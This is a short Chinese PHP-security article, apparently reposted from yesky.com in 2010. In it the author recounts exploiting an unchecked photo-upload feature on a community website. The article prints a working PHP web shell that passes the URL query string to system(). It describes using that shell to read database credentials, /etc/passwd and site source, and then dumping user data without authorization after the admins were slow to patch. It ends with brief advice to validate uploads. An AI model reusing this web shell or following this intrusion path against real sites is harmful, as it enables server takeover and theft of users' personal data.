当前位置:首页> PHP教程> PHP安全
关键字
文章内容
关于php做社区网站的安全性
 
 
修改时间:[2010/11/04 00:35]    阅读次数:[1455]    发表者:[起缘]
 
目前我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患因为上传程序未对上传的文件做分析从而我可以上传一个test.php的文件 然后服务器上的名字就为?????.php(?????为数字 

  我的PHP内容如下
 

<? 

$dbs
=mysql_connect($strDBHost,$strDBUser,$strDBPassword); 

…… 

mysql_close
($dbs); 

?> 



  当然……中我只作了个测试
没有真正使用数据库但是我以另一个PHP?????.php内容如下 

<? 

$query
=getenv("QUERY_STRING"); 

$command
=urldecode($query); 

$stdout
=system("$command"); 

echo "$stdout"; 

?> 



成功的取得 

$strDBHost
= "?.?.?.?"; 

$strDBPassword
= "????"; 

$strDBUser
= "root"; 

并连上数据库 



  然后用后一个PHP把上传的PHP命名为CMD
.PHP和DB.PHP 



  成功取得
/ETC/PASSWD和该网站的首页面MAIN.PHP源码。 



  然后我发信警告网管
但是他们在第一天没及时修补漏洞于是我对数据库进行分析并上传了个MB.PHP成功的得到数据库内的用户信息。 



  今天他们采取的修补手段是把那个可以上传的目录移去
不过这将导致用户暂时不能浏览、上传照片。 



  所以进行此类设计时
应该考虑到恶意用户通过直接调用url把恶意数据传个程序而不能以为网页在服务器端就安全了 





原作者
天极网 

来源
http://www.yesky.com/